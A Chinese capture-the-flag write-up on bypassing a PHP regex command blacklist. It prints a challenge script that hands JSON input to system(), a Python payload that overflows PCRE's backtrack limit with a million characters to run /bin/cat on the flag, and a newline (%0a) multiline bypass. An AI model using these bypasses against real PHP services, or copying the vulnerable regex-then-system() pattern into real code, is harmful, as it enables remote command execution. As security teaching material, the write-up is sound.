考点:PHP正则匹配 pcre回溯次数限制绕过
题目让输入JSON格式的数据,那么就给他好了

但是接下来我再ls /的时候却没有显示
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
在先知社区里找到源码,预期解是pcre回溯次数限制绕过,参考p牛文章:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html 看一下秒懂。
大致意思是正则回溯最大只有1000000,如果回溯次数超过就会返回flase,构造1000000个a,使回溯超过限制就会绕过正则匹配,限制次数在php.ini的pcre.backtrack_limit有,而不造成这个漏洞的方法就是使用强比较===
使用php交互模式,首先配置好php系统变量,cmd处输入cmd -a
输入:var_dump(ini_get(‘pcre.backtrack_limit’));

可以看到确实是一百万,构造Payload,建议直接在python交互程序中跑
import requests payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}' res = requests.post("http://5bf16e99-57d3-4da2-afa6-339f0b9c0a23.node3.buuoj.cn/", data={"cmd":payload}) #print(payload) print(res.text)
但是这里cat和ls的命令前一定要加上/bin/ 而且flag的位置是探测出来的,这个不要太担心有命令能执行就慢慢ls探测就好了
又根据题目描述的提示–“只允许执行ls命令”,即jail包含了执行ls
的二进制文件,所以我们可以直接拉出cat
的路径:"cmd": "/bin/cat /home/rceservice/flag"
注:Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用
就比如在linux中这两种效果一样

最后运行效果如下。

第二种非预期解
同样是preg_match
的问题,由于它会努力去匹配第一行,所以我们可以利用多行的方法
首先抓包把GET请求改成POST请求

或者直接在URL处输入: {%0a”cmd”:”/bin/cat /home/rceservice/flag”%0a}

%0a是换行符,同bp中方法一样